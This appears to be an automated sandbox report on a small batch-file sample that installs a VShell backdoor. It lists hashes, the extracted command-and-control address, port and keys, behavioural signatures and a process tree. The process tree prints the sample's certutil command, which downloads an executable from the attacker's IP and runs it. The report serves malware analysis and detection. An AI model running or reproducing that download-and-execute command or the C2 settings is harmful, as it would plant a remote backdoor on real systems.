Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 02:11
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_847808393e5835b39614d1d98b6b2fd120f0a31b3e7c6eaf45d9df4287205e53.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_847808393e5835b39614d1d98b6b2fd120f0a31b3e7c6eaf45d9df4287205e53.bat
- Size 512B
- Sample260910-cmh43acp8v
- SHA256 847808393e5835b39614d1d98b6b2fd120f0a31b3e7c6eaf45d9df4287205e53
- MD5 022c440860d69b956f519006db65bfac
- SHA1 c3747e5be26a40dfe875d8f2a5a72e58e58119c0
- SHA512 3d1e17b249849443a700f4a5e6a013523702409a0349d5a56cb7aa087f8306431ca8ca16d553bf36c09fae135714878cbe8e89b00073cbc11bf33526c84ac25f
- TLSH T14BF050C908324EB90BC5C863F45461867005A0CCCBA195941B5125D94E440D832E7B92
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/4796-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 2 4824 certutil.exe 1 4824 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4796 2f91b688tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2732 cmd.exe 2072 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2788 WMIC.exe 2788 WMIC.exe 2788 WMIC.exe 2788 WMIC.exe 4796 2f91b688tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2788 WMIC.exe Token: SeSecurityPrivilege 2788 WMIC.exe Token: SeTakeOwnershipPrivilege 2788 WMIC.exe Token: SeLoadDriverPrivilege 2788 WMIC.exe Token: SeSystemProfilePrivilege 2788 WMIC.exe Token: SeSystemtimePrivilege 2788 WMIC.exe Token: SeProfSingleProcessPrivilege 2788 WMIC.exe Token: SeIncBasePriorityPrivilege 2788 WMIC.exe Token: SeCreatePagefilePrivilege 2788 WMIC.exe Token: SeBackupPrivilege 2788 WMIC.exe Token: SeRestorePrivilege 2788 WMIC.exe Token: SeShutdownPrivilege 2788 WMIC.exe Token: SeDebugPrivilege 2788 WMIC.exe Token: SeSystemEnvironmentPrivilege 2788 WMIC.exe Token: SeRemoteShutdownPrivilege 2788 WMIC.exe Token: SeUndockPrivilege 2788 WMIC.exe Token: SeManageVolumePrivilege 2788 WMIC.exe Token: 33 2788 WMIC.exe Token: 34 2788 WMIC.exe Token: 35 2788 WMIC.exe Token: 36 2788 WMIC.exe Token: SeIncreaseQuotaPrivilege 2788 WMIC.exe Token: SeSecurityPrivilege 2788 WMIC.exe Token: SeTakeOwnershipPrivilege 2788 WMIC.exe Token: SeLoadDriverPrivilege 2788 WMIC.exe Token: SeSystemProfilePrivilege 2788 WMIC.exe Token: SeSystemtimePrivilege 2788 WMIC.exe Token: SeProfSingleProcessPrivilege 2788 WMIC.exe Token: SeIncBasePriorityPrivilege 2788 WMIC.exe Token: SeCreatePagefilePrivilege 2788 WMIC.exe Token: SeBackupPrivilege 2788 WMIC.exe Token: SeRestorePrivilege 2788 WMIC.exe Token: SeShutdownPrivilege 2788 WMIC.exe Token: SeDebugPrivilege 2788 WMIC.exe Token: SeSystemEnvironmentPrivilege 2788 WMIC.exe Token: SeRemoteShutdownPrivilege 2788 WMIC.exe Token: SeUndockPrivilege 2788 WMIC.exe Token: SeManageVolumePrivilege 2788 WMIC.exe Token: 33 2788 WMIC.exe Token: 34 2788 WMIC.exe Token: 35 2788 WMIC.exe Token: 36 2788 WMIC.exe Token: SeDebugPrivilege 4796 2f91b688tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2072 wrote to memory of 2732 2072 cmd.exe 90 PID 2732 wrote to memory of 2788 2732 cmd.exe 91 PID 2732 wrote to memory of 3004 2732 cmd.exe 92 PID 2072 wrote to memory of 4824 2072 cmd.exe 94 PID 2072 wrote to memory of 4796 2072 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_847808393e5835b39614d1d98b6b2fd120f0a31b3e7c6eaf45d9df4287205e53.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3004
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\2f91b688tcp.exe"2⤵
- Downloads MZ/PE file
PID:4824
-
-
C:\Users\Public\2f91b688tcp.exe"C:\Users\Public\2f91b688tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\2f91b688tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH